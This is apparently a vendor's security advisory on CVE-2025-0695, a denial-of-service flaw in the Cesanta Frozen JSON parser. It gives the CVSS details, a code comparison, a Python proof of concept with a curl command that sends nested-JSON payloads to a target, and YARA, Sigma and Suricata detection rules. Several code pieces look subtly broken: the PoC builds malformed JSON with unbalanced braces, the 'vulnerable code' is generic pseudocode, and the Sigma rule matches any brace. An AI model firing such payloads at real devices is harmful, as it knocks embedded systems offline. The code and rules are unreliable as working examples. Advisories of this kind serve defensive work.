CVE-2025-0695
Executive Summary
CVE-2025-0695 is a denial-of-service (DoS) vulnerability in Cesanta Frozen, a lightweight JSON parsing library for embedded systems. The flaw, classified as an Allocation of Resources Without Limits or Throttling (CWE-770), allows an attacker to crash any application embedding the library by providing a specially crafted JSON input. The vulnerability affects all versions prior to 1.7. With a CVSS score of 5.3 (Medium), the attack vector is network-based, requires no authentication, and has low complexity, making it trivially exploitable. No public exploit code or proof-of-concept is currently available, but the risk is elevated for IoT and embedded devices where Frozen is commonly used.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Cesanta Frozen is a C library distributed as source code, often integrated directly into firmware or embedded applications. There is no official package manager (e.g., NPM, PyPI) for this library, but it is commonly fetched from GitHub or included as a submodule. Organizations should verify their dependency chain for any use of Frozen < 1.7 and update immediately.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be triggered remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component remains isolated.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: Low (A:L) – The crash causes a denial of service, but recovery is typically possible via restart.
Threat Level: Medium. While the impact is limited to availability, the ease of exploitation and potential for widespread disruption in embedded systems (e.g., smart meters, industrial controllers) elevates the risk.
Deep Dive & Mechanics
The vulnerability resides in the JSON parsing logic of Cesanta Frozen. The library does not impose limits on resource allocation when processing nested structures or deeply recursive JSON objects. An attacker can craft a JSON payload with excessive nesting depth or an extremely large number of keys/values, causing the parser to allocate unbounded memory or stack space. This leads to a stack overflow or heap exhaustion, crashing the application.
The core issue is in the json_scanf() and related parsing functions, which recursively descend into JSON objects without depth checking. For example, a payload like {"a":{"a":{"a":...}}} repeated thousands of times can overflow the call stack.
Vulnerable vs. Patched Code
Vulnerable Code (Frozen < 1.7):
// No depth limit in recursive parsing
static int json_scanf_recursive(const char *json, ...) {
// Recursively processes nested objects without bounds
while (*json) {
if (*json == '{') {
json_scanf_recursive(json + 1, ...); // No depth check
}
// ...
}
}
Patched Code (Frozen >= 1.7):
// Added depth limit to prevent stack overflow
#define MAX_JSON_DEPTH 100
static int json_scanf_recursive(const char *json, int depth, ...) {
if (depth > MAX_JSON_DEPTH) {
return -1; // Reject overly deep JSON
}
while (*json) {
if (*json == '{') {
json_scanf_recursive(json + 1, depth + 1, ...);
}
// ...
}
}
The patch introduces a configurable depth limit (default 100) and returns an error if exceeded, preventing resource exhaustion.
Exploitation & Lab Setup
Red Team (Exploitation)
No public exploit code exists. However, a proof-of-concept can be constructed:
# poc.py - Generate deeply nested JSON to trigger crash
import json
def generate_deep_json(depth=10000):
payload = "{" + '"a":' * depth + '"x"' + "}" * depth
return payload
if __name__ == "__main__":
payload = generate_deep_json(5000)
# Send to target via HTTP, MQTT, or other protocol
print(payload)
Usage: Send the generated payload to any endpoint that parses JSON using Frozen < 1.7. For example, if the library is used in an HTTP server:
curl -X POST -d "$(python poc.py)" http://target:8080/api
Blue Team (Detection & Hardening)
- Network Monitoring: Detect unusually large or deeply nested JSON payloads in transit.
- Application Hardening: Upgrade to Frozen >= 1.7. If upgrade is not possible, implement a reverse proxy or WAF to reject JSON with excessive nesting (e.g., > 100 levels).
- Resource Limits: Use OS-level resource limits (e.g.,
ulimiton Linux) to cap stack size and memory for processes using Frozen.
Indicators of Compromise (IOCs)
- Network IOCs:
- JSON payloads with nesting depth > 100 levels.
- HTTP requests with
Content-Type: application/jsonand unusually large body size (> 1 MB) with repetitive structure.
- System IOCs:
- Application crash logs showing stack overflow or out-of-memory errors.
- Core dumps from processes using Frozen library.
- File IOCs:
- Log entries containing
json_scanforjson_parseerrors.
- Log entries containing
Detection Engineering
YARA Rule
rule CVE_2025_0695_DeepJSON {
meta:
description = "Detects deeply nested JSON payloads targeting Cesanta Frozen CVE-2025-0695"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-0695"
strings:
$json_start = "{" ascii
$json_end = "}" ascii
$deep_pattern = /(\{.*?){100,}/ // 100+ nested braces
condition:
$json_start and $json_end and #deep_pattern > 0
}
Sigma Rule
title: Deeply Nested JSON Payload Detection
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with deeply nested JSON bodies indicative of CVE-2025-0695 exploitation
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: generic
detection:
selection:
http.content_type: "application/json"
http.body|contains: "{" # Simplified; real rule would check nesting depth
condition: selection
falsepositives:
- Legitimate deeply nested JSON from complex APIs (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0695 - Deeply Nested JSON Payload"; flow:to_server; content:"Content-Type|3a| application/json"; http_header; pcre:"/(\{.*?){100,}/"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade Cesanta Frozen to version 1.7 or later. This is the only complete fix.
- Compensating Controls:
- Deploy a Web Application Firewall (WAF) with rules to reject JSON payloads exceeding a depth of 100.
- Implement input validation in the application layer to reject malformed or excessively nested JSON before it reaches Frozen.
- Use resource limits (e.g.,
setrlimitin C) to cap stack and memory usage for processes using the library.
- Monitoring: Enable logging for all JSON parsing errors and monitor for crash events.
- Vendor Communication: If using a product that bundles Frozen, contact the vendor for a patched version.
Valters IT – Securing the digital frontier, one CVE at a time.